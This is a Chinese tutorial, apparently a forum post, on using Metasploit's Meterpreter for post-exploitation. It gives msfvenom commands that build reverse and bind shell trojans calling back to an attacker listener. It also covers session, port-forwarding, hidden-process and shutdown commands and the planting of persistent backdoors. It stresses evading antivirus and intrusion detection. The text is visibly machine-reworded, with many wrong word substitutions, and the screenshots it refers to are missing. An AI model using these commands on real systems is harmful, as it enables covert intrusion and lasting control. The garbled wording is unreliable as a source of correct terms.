熟习Metasploit的该当对Meterpreter不陌生，作为后渗透阶段的利器，其强大之处可想而知，那么本篇文章就带大家来学习一下Meterpreter，目的在于让大家理解它的常用命令和利用方法。
目录
第一节 初识Meterpreter
1.1、什么是Meterpreter
1.2、Meterpreter的优点
第二节 Meterpreter 中常用的Shell
2.1、reverse_tcp
2.2、reverse_http
2.3、reverse_https
2.4、bind_tcp
第三节 Meterpreter的常用命令
3.1、基本命令
3.2、文件系统命令
3.3、网络命令
3.4、系统命令
第四节 后渗透攻击模块
4.1、什么是后渗透攻击模块
4.2、后渗透攻击模块的实现事理
4.3、enum_drives
第五节 植入后门
5.1、persistence后渗透攻击模块
5.2、metsvc 后渗透攻击模块
第一节 初识Meterpreter
1.1、什么是Meterpreter
Meterpreter是Metasploit框架中的一个扩展模块，作为溢出成功往后的攻击载荷利用，攻击载荷在溢出攻击成功往后给我们返回一个掌握通道。利用它作为攻击载荷能够得到目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能，比如添加一个用户、隐蔽一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程掌握权、捕获按键信息、打消运用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。其余Meterpreter能够躲避入侵检测系统。在远程主机上隐蔽自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出相应。此外它在运行的时候系统韶光是变革的,以是跟踪它或者终止它对付一个有履历的人也会变得非常困难。末了,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。
1.2、Meterpreter技能上风
Metasploit供应了各个主流平台的Meterpreter版本，包括Windows、Linux，同时支持x86、x64平台，其余，Meterpreter还供应了基于PHP和Java措辞的实现。Meterpreter的事情模式是纯内存的，好处是启动隐蔽，很难被杀毒软件监测到。不须要访问目标主机磁盘，以是也没什么入侵的痕迹。除上述外，Meterpreter还支持Ruby脚本形式的扩展。以是Ruby措辞还很有必要。
第二节 Meterpreter中常用的Shell
2.1、 reverse_tcp
这是一个基于TCP的反弹shell，下面演示Linux下反弹shell，Windows道理一样不做演示。
Linux
利用下列命令天生一个Linux下反弹shell木马：
[Bash shell] 纯文本查看 复制代码
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o isshell
看上图，我们可以瞥见目录下已经成功天生木马文件isshell。然后我们给文件加上实行权限。
然后我们打开Metasploit，利用模块handler，设置payload，把稳：这里设置的payload要和我们天生木马所利用的payload一样。
设置下地址和端口，我们就开始监听了。
这边运行一下我们的反弹shell木马，可以创造成功反弹回shell了。
Windows：
[Bash shell] 纯文本查看 复制代码
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe -o 要天生的文件名
2.2、reverse_http
基于http办法的反向连接，在网速慢的情形下不稳定。
[Bash shell] 纯文本查看 复制代码
payload:/windows/meterpreter/reverse_http
2.3、reverse_ https
基于https办法的反向连接，在网速慢的情形下不稳定。
[Bash shell] 纯文本查看 复制代码
payload:/windows/meterpreter/reverse_https
2.4、bind_tcp
这是一个基于TCP的 正向连接shell，由于在内网跨网段时无法连接到attack的机器，以是在内网中常常会利用，不须要设置LHOST。
利用下列命令天生木马：
[Bash shell] 纯文本查看 复制代码
msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444 -f elf -o bindshell
同样道理加权限运行，不演示了。
这里把稳，我们设置的IP地址和端口便是目标机的。由于这是我们主动来连接它。
第三节 Meterpreter的常用命令
3.1、基本命令
[Shell] 纯文本查看 复制代码
ackground # 让meterpreter处于后台模式
sessions -i index # 与会话进行交互，index表示第一个session
quit # 退出会话
shell # 得到掌握台权限
irb # 开启ruby终端
3.3、网络命令
[Shell] 纯文本查看 复制代码
ipconfig / ifconfig # 查看网络接口信息
portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发，本机监听4444，把目标机3389转到本机4444
rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后利用rdesktop来连接，-u 用户名 -p 密码
route # 获取路由表信息
3.4、系统命令
[Shell] 纯文本查看 复制代码
ps # 查看当前生动进程
migrate pid # 将Meterpreter会话移植到进程数位pid的进程中
execute -H -i -f cmd.exe # 创建新进程cmd.exe，-H不可见，-i交互
getpid # 获取当提高程的pid
kill pid # 杀去世进程
getuid # 查看权限
sysinfo # 查看目标机系统信息，如机器名，操作系统等
shutdown # 关机
第四节 后渗透攻击模块
4.1、什么是后渗透攻击模块
后渗透攻击模块(Post)是Metasploit v4版本中正式引入的一种新类型的组件模块，紧张支持在渗透攻击取得目标系统远程掌握权之后，在受控系统中进行各式各样的后渗透攻击动作，比如获取敏感信息、进一步拓展、履行跳板攻击等。
4.2、后渗透攻击模块的实现事理
后渗透攻击模块是通过Ruby措辞编写的，目标机上可能没有Ruby阐明器吧，那么后渗透攻击模块是如何通过Meterpreter会话在目标机上实行的呢。看下来步骤：
后渗透攻击脚本由Meterpreter客户端阐明
远程调用Meterpreter做事端供应的API(Meterpreter做事端即运行在目标机上的攻击载荷)
4.3、enum_drives
这个后渗透攻击模块是获取目标主机磁盘分区信息，我们就以这个例讲解后渗透攻击模块利用方法。
我们首先将meterpreter会话放入后台，然后搜索我们的模块。
然后利用use命令来利用模块，然后设置一下会话id，接着实行，可以创造成功获取到目标主机磁盘分区的信息。
第五节 植入后门
Meterpreter仅仅是在内存中驻留的Shellcode，只要目标机器重启就会损失掌握权，下面就先容如何植入后门，坚持掌握。
5.1、persistence后渗透攻击模块
利用方法：
-X指定启动的办法为开机自启动，-i反向连接的韶光间隔
然后便是监听，等待后门连接
5.2、metsvc后渗透攻击模块
metsvc后渗透攻击模块实在便是将Meterpreter以系统做事的形式安装到目标主机，它会上传三个文件：
metsvc.dll
metsvc-service.exe
metsvc.exe
利用方法：
到目标机上，我们可以创造Meterpreter做事，正在开启监听并等待连接。
结束语
